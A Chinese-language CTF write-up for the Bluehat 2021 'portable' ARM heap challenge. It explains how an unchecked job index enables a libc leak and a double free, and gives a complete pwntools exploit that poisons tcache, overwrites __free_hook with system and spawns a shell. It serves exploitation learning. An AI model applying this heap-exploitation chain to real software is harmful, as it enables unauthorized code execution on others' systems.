bluehat2021-portable-WP

Posted on May 27, 2021

很久之前打的比赛了,由于调试环境没配好,一直没复现这道题,前天突发奇想手动编译了一下 qemu 发现可以调了,所以就复现了一下

主要的洞在

这里的 switch 中,没有对 v1 进行范围检查,所以输入零就可以不更新 player 信息,实现 double free 和 leak。

首先需要 leak,方法是申请一个名字较长的 player,delete 掉,让名字进入 unsorted bin。并且在名字中伪造出 player 结构体,满足 beat_dragon 字段为 1。然后申请一个 player,选职业的时候输个 0,就可以让 player 使用我们伪造的结构体,然后通过 show 的功能打出 libc 地址。

然后 double free 这里可能是打 tcache,只要申请一个名字长 0x20 的 player,然后 free 掉,申请一个职业为 0 的 player,根据 tcache 的特性,此时 player 的 name 字段就是 tcache 的 next 指针,所以再 free 这个 player,就可以实现 double free,然后就是简单的 tcache poisoning 了。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
context.terminal = ["tmux","splitw","-h"]

#sh = process(['qemu-arm','-g','2222','-L','/home/chuj/glibc/arm-linux-gnueabihf/2.26/','./vuln'])
sh = process(['qemu-arm','-L','/home/chuj/glibc/arm-linux-gnueabihf/2.26/','./vuln'])
libc = ELF("/home/chuj/glibc/arm-linux-gnueabihf/2.26/lib/libc.so.6")
#sh = process(['qemu-arm','-L','./2.26','./vuln'])
#sh = process(['qemu-arm','-g','2222','-L','./2.26','./vuln'])
#libc = ELF("./libc.so.6")

def create_player(job,name,size):
    sh.sendlineafter(">> ",'1')
    sh.sendlineafter(">> ",str(job))
    if (job >= 1 and job <= 4):
        sh.sendlineafter("name size?\n",str(size))
        sh.sendafter("user name?\n",name)

def delete_player(idx):
    sh.sendlineafter(">> ",'2')
    sh.sendlineafter("index?\n",str(idx))

def show_player(idx):
    sh.sendlineafter(">> ",'3')
    sh.sendlineafter("index?\n",str(idx))

def play(idx):
    sh.sendlineafter(">> ",'4')
    sh.sendlineafter("index?\n",str(idx))
    for i in range(5):
        sh.sendlineafter(">> ",'1')

payload = p32(0) + p32(0x1000000) # name_str, name_size
payload += p32(0x7FFFFFFF) * 4  # hp, mp, atk, mtk
payload += p32(1)
payload += p32(1) # beat_dragon
payload.ljust(0x28,'\x00')
create_player(1,payload * 3,0x300) # idx:0
create_player(1,'\n',0x20) # idx:1

delete_player(1)
delete_player(0)

create_player(1,'/bin/sh\x00',0x20) # idx:0
create_player(0,'','') # idx:1
create_player(0,'','') # idx:2

show_player(2)
sh.recvuntil("name: ")
libc_addr = u32(sh.recv(4)) - 0x210 - 48 - libc.sym["main_arena"]
#libc_addr = u32(sh.recv(4)) - 0x210 - 48 - 0x13A7F4
free_hook_addr = libc_addr + libc.sym["__free_hook"]
system_addr = libc_addr + libc.sym["system"]
#system_addr = free_hook_addr - 0xBDC50
log.success("libc_addr:" + hex(libc_addr))
log.success("system_addr:" + hex(system_addr))
log.success("free_hook_addr:" + hex(free_hook_addr))

payload = p32(0) + p32(0x1000000) # name_str, name_size
payload += p32(0x7FFFFFFF) * 4  # hp, mp, atk, mtk
payload += p32(1)
payload += p32(1) # beat_dragon
create_player(1,payload,0x20) # idx:3
create_player(1,'\n',0x20) # idx:4

delete_player(4)
delete_player(3)

create_player(0,'','') # idx:3
create_player(0,'','') # idx:4

show_player(4)
sh.recvuntil("name: ")
heap_addr = u32(sh.recv(4))
log.success("heap_addr:" + hex(heap_addr))

delete_player(4)
create_player(1,p32(free_hook_addr) + '\n',0x20) # idx:4
create_player(1,p32(system_addr) + '\n',0x20) # idx:5

show_player(0)
delete_player(0)
sh.interactive()

题目其实很简单,但是换了个架构就麻烦了不少。没在赛场上做出来多少还是有些遗憾。